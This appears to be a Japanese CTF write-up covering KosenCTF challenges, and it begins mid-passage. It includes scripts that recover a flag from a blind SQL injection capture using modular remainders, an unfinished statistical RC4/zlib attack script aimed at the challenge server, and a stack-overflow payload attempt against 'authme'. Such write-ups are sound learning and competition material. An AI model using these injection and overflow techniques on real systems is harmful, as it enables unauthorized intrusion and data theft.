`+`は空白を表すことに注意すると、
これは`secret`の特定の位置の文字の文字コードを特定の値で割った余りを`search_max`とするクエリであることが読み取れる。
そして、その後のレスポンスに何件の項目が入っているかで、この余りがいくつであるかを読み取ることができそうである。
しかし、このようなリクエストが多いため、人力で読み取るのは大変である。
そこで、

* レスポンスのパケットは必ずリクエストのパケットのすぐ後にある
* レスポンスのバイト数は、1行見るだけで読み取れる
* 余りが同じならレスポンスのバイト数は同じであり、余りが違うならレスポンスのバイト数も違う

と仮定し、パケット一覧をコピーしたデータから文字の位置、割る数、レスポンスのバイト数を取得する以下のコードを書いた。
そして、レスポンスのバイト数から余りの値には、テキストエディタの置換機能を用いて人力で変換した。

```get_data.pl
#!/usr/bin/perl

use strict;
use warnings;

my $pos = 0;
my $mod = 0;

while (my $line = <STDIN>) {
	if ($line =~ /SELECT.*%2C\+(\d+)%2C.*%25\+(\d+) /) {
		$pos = $1;
		$mod = $2;
	} elsif ($line =~ /\t(\d+)\tHTTP\/1\.1 200/ && $pos > 0) {
		print "$pos $mod $1\n";
		$pos = 0;
		$mod = 0;
	}
}
```

得られた文字の位置、割る数、割った余りをもとに制約を満たすデータを全探索する以下のプログラムを書き、実行した。

```search.py
import sys

limitations = []

for line in sys.stdin.readlines():
	pos, mod, value = [int(x) for x in line.rstrip().split(' ')]
	while len(limitations) < pos:
		limitations.append([])
	limitations[pos - 1].append((mod, value))

res_con = ""

for l in limitations:
	valid = [True for _ in range(128)]
	for c in range(128):
		for mod, value in l:
			if c % mod != value:
				valid[c] = False
	res = ""
	for c in range(32, 128):
		if valid[c]:
			res += chr(c)
	print(res)
	res_con += res

print()
print(res_con)
```

その結果、以下のflagが得られた。

```
KosenCTF{u_c4n_us3_CRT_f0r_LIMIT_1nj3ct10n_p01nt}
```

## Survey

Googleフォームで今回のCTFに関するアンケートの回答を送信すると、flagが得られる。
「回答は1人1回のみ」とは書かれていないので、とりあえず送信してflag(得点)を確保しておき、
あとでまた書きたいことが出てきたらまた送信するのが吉か。
また、「回答を編集」もできるらしい？

```
KosenCTF{w4s_th1s_ch4ll3ng3_h4rd_4_u?}
```

# 途中までできた気がする問題

# No pressure

文字列を送ると、それに基づいて鍵を生成し、
flag(?)の後に送った文字列を繋げたものを`zlib.compress`したものを`ARC4`で暗号化したものを返してくれる。
文字列の初めの方を長いランダムにして、後ろをどんどん変えていくと、
多分最初の方はエンコード結果の平文が同じになると思うので、あとはいっぱい暗号文を集めてがんばってRC4の復号をすればできる？
…かなと思ったが、いっぱい(2**32個くらい？)暗号文を集めるにはいっぱい時間がかかりそうだしなあ…

書いたコード
(後で行った実験の結果、128文字では平文の最初を固定するのには全然足りなそう。
8192文字ではだめで、10240文字なら多分大丈夫？)
一応2バイト目が0x9cというのは得られた。

```attack.pl
#!/usr/bin/perl

use strict;
use warnings;

use IO::Socket;
use MIME::Base64;

my $sock = new IO::Socket::INET(PeerAddr=>"misc.kosenctf.com", PeerPort=>10002, Proto=>"tcp");

unless ($sock) {
	print "connect failed\n";
	exit 1;
}

my $start = "";

for (my $i = 0; $i < 128; $i++) {
	$start .= chr(int(rand() * (126 - 32 + 1)) + 32);
}

my @list = ();

my $iter = 1 << 16;
my $t = time();
for (my $i = 0; $i < $iter; $i++) {
	print $sock sprintf("%s%d\n", $start, $i);
	my $resp = <$sock>;
	my @datalist = split(/:/, $resp);
	my $data = decode_base64($datalist[@datalist - 1]);
	my $len = length($data);
	while (@list < $len * 256) { push(@list, 0); }
	for (my $j = 0; $j < $len; $j++) {
		$list[$j * 256 + ord(substr($data, $j, 1))]++;
	}
	if (time() - $t > 60) {
		warn sprintf("%d / %d\n", $i + 1, $iter);
		$t = time();
	}
}

for (my $i = 0; $i * 256 < @list; $i++) {
	my $max = 0;
	my $max_idx = 0;
	for (my $j = 0; $j < 256; $j++) {
		if ($list[$i * 256 + $j] > $max) {
			$max = $list[$i * 256 + $j];
			$max_idx = $j;
		}
	}
	printf "%02x\n", $max_idx;
}

close($sock);
```

平文の先頭を固定する実験のコード

```test.py
from base64 import b64encode
import zlib
import random

f = "KousenCTF{hoge}"

aaa = "".join(chr(random.randint(0x20, 0x7e)) for x in range(10240))

for i in range(100):
	hoge = zlib.compress((f + aaa + str(i)).encode())
	print(b64encode(hoge).decode())
```

この先はこのへんを参考に…？

* [RC4の脆弱性とSSL/TLSへの攻撃](http://www2.nict.go.jp/csri/plan/H26-symposium/files/3-1.pdf)
* [On the Security of RC4 in TLS](https://www.usenix.org/sites/default/files/conference/protected-files/alfardan_sec13_slides.pdf)

# authme

ユーザー名とパスワードの入力を受け付ける。
それぞれの入力は0x20バイトのスタック上のバッファに、`fgets()`により0x40バイトまで入力できる。
普通に入力すると`exit()`が呼び出されるが、`fgets()`が失敗すると関数から帰る。
[TCP/IPテストツール](https://www.vector.co.jp/soft/winnt/net/se411272.html)で「送信データのバイナリ変換」を有効にして

```
0123456789abcdef0123456789abcdef0123456789abcdef<0A><1A><0A><1A>
```

を送信すると、`exit()`の前に出力される`[-] NG!`が出力されずに切断されることは確認できたが、
Segmentation Faultは確認できず、リターンアドレスの書き換えがうまくいっていることが確認できなかった。

また、リターンアドレスをうまく書き換えて飛ばせるとしても、
`system("/bin/sh");`を実行しているところのアドレスには0x0aが含まれ、
そのまま入力すると`fgets()`の読み込みが止まってしまうはずなので、それもどうすればいいかわからなかった。